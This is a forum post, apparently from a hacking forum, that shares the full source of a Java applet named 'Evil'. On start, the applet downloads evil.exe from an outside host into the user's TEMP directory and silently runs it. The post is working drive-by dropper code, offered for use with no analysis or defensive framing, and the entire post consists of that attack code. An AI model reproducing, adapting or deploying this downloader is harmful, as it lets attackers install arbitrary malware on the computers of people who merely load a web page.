Expermicid Posted July 15, 2012 Share Posted July 15, 2012 (edited) [lenguaje=java]import java.applet.Applet; import java.io.*; import java.net.URL; import java.net.URLConnection; import java.awt.*; import java.net.*; public class Evil extends Applet { public void start() { try { String fileoot = System.getenv("TEMP"); String fname = "evil.exe"; String efool = fileoot.concat(fname); BufferedOutputStream bufferedoutputstream = null; InputStream inputstream = null; URL url = new URL("http://tonsite.net/evil.exe"); bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool)); URLConnection urlconnection = url.openConnection(); inputstream = urlconnection.getInputStream(); byte abyte0[] = new byte[1024]; int i; for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i) bufferedoutputstream.write(abyte0, 0, i); try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception) { } Runtime runtime = Runtime.getRuntime(); try { Process process = runtime.exec(efool); process.waitFor(); BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream())); } catch(Exception exception1) { } try { if(inputstream != null) inputstream.close(); if(bufferedoutputstream != null) bufferedoutputstream.close(); } catch(IOException ioexception1) { } } catch(Exception e) { } } public void main(String args[]) { start(); } }[/lenguaje] Fuente: Dekoders Edited February 16, 2014 by Expermicid Link to comment Share on other sites More sharing options...
Recommended Posts